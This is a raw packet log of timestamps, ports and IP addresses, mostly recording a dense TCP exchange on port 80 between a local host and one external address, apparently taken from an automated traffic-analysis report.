Oct 30, 2024 23:11:55.263386011 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263401031 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263413906 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263442993 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.263465881 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.263518095 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263550997 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.263622046 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263700962 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263715982 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263716936 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.263750076 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.263828039 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263853073 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263885021 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.263927937 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263957977 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263973951 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263987064 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.263989925 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.264003992 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.264007092 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.264035940 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.264069080 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.264146090 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.264161110 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.264178038 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.264188051 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.264194012 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.264206886 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.264228106 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.264343023 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.264358997 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.264456034 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.264456987 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.264473915 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.264489889 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.264492035 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.264506102 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.264520884 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.264552116 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.264718056 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.264734983 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.264746904 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.264763117 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.264770031 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.264780998 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.264796972 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.264797926 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.264816046 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.264841080 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.264941931 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265000105 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265013933 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265043974 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.265065908 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.265084982 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265100002 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265115023 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265127897 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265144110 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265146017 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.265172958 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.265331984 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265347004 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265362024 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265366077 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.265377998 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265394926 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.265394926 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265413046 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265428066 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265430927 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.265444040 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265450001 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.265479088 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.265657902 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265674114 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265691042 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265698910 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.265729904 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.265872002 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265887976 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265902996 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265909910 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.265928984 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265942097 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.265947104 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265963078 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265971899 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.265978098 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.265994072 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.266000986 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.266021013 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.266028881 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.266037941 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.266055107 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.266092062 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.266341925 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.266441107 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.266468048 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.266483068 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.266491890 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.266499043 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.266506910 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.266514063 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.266521931 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.266539097 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.266566038 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.266582966 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.266767979 CET	443	50029	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.266834021 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.266849041 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.266865015 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.266880989 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.266885996 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.266896963 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.266897917 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.266916037 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.266926050 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.266954899 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.267124891 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.267141104 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.267158031 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.267174006 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.267174959 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.267203093 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.267204046 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.267294884 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.268290997 CET	50029	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.268316031 CET	443	50029	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.268836021 CET	50029	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.268841028 CET	443	50029	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.309470892 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.309530020 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.309542894 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.309559107 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.309583902 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.309600115 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.309613943 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.309648037 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.309802055 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.309834003 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.309859037 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.309880018 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.309905052 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.309931993 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.309964895 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.326598883 CET	443	50031	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.327194929 CET	50031	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.327208996 CET	443	50031	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.328469992 CET	50031	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.328474998 CET	443	50031	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.333626032 CET	443	50030	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.334055901 CET	50030	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.334074974 CET	443	50030	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.334661007 CET	50030	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.334666014 CET	443	50030	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.337140083 CET	443	50032	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.337419033 CET	50032	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.337459087 CET	443	50032	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.337816000 CET	50032	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:55.337822914 CET	443	50032	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:55.356020927 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.356075048 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.356091022 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.356100082 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.356125116 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.379985094 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.380040884 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.380058050 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.380069017 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.380091906 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.380141973 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.380166054 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.380179882 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.380228996 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.380234003 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.380306005 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.380321026 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.380326033 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.380373955 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.380402088 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.380419970 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.380435944 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.380443096 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.380474091 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.380477905 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.380522966 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.380536079 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.380551100 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.380565882 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.380589008 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.380598068 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.380620956 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.381053925 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.381105900 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.381112099 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.381123066 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.381181955 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.381181955 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.381247997 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.381318092 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.381334066 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.381366968 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.381390095 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.381401062 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.381424904 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.381438017 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.381455898 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.381474972 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.381509066 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.381514072 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.381582975 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.381593943 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.381609917 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.381649971 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.381813049 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.381827116 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.381844997 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.381872892 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.381901026 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.381918907 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.381936073 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.381978035 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.382033110 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382049084 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382090092 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.382128954 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382144928 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382179976 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.382204056 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382282972 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382297993 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382313967 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382328033 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.382431984 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382447958 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382461071 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.382466078 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382471085 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.382483959 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382499933 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382505894 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.382540941 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.382709026 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382725954 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382744074 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.382749081 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382764101 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382771015 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.382781029 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382793903 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.382878065 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.382882118 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382925987 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.382970095 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382982969 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.382997036 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383007050 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.383013010 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383035898 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.383061886 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.383132935 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383147955 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383164883 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383174896 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.383179903 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383203983 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.383240938 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.383285046 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383394003 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383409977 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383425951 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383440971 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383444071 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.383457899 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383474112 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383476019 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.383502007 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.383516073 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.383698940 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383713961 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383729935 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383744955 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.383745909 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383752108 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.383764029 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383780003 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383786917 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.383797884 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.383802891 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.383830070 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.383862019 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.384007931 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.384124994 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.384140015 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.384155035 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.384170055 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.384179115 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.384186983 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.384202957 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.384203911 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.384222984 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.384222984 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.384241104 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.384246111 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.384263039 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.384278059 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.384476900 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.384491920 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.384567022 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.384582996 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.384598017 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.384604931 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.384615898 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.384633064 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.384633064 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.384648085 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.384654999 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.384670973 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.384673119 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.384686947 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.384702921 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.385040998 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.385056019 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.385072947 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.385080099 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.385092020 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.385097027 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.385109901 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.385113001 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.385127068 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.385129929 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.385145903 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.385147095 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.385159969 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.385256052 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:55.385391951 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:55.385407925 CET	80	49980	185.215.113.206	192.168.2.5
